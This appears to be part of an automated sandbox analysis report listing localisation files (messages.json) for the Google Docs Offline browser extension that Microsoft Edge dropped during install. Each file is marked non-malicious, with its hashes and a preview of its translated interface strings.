Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
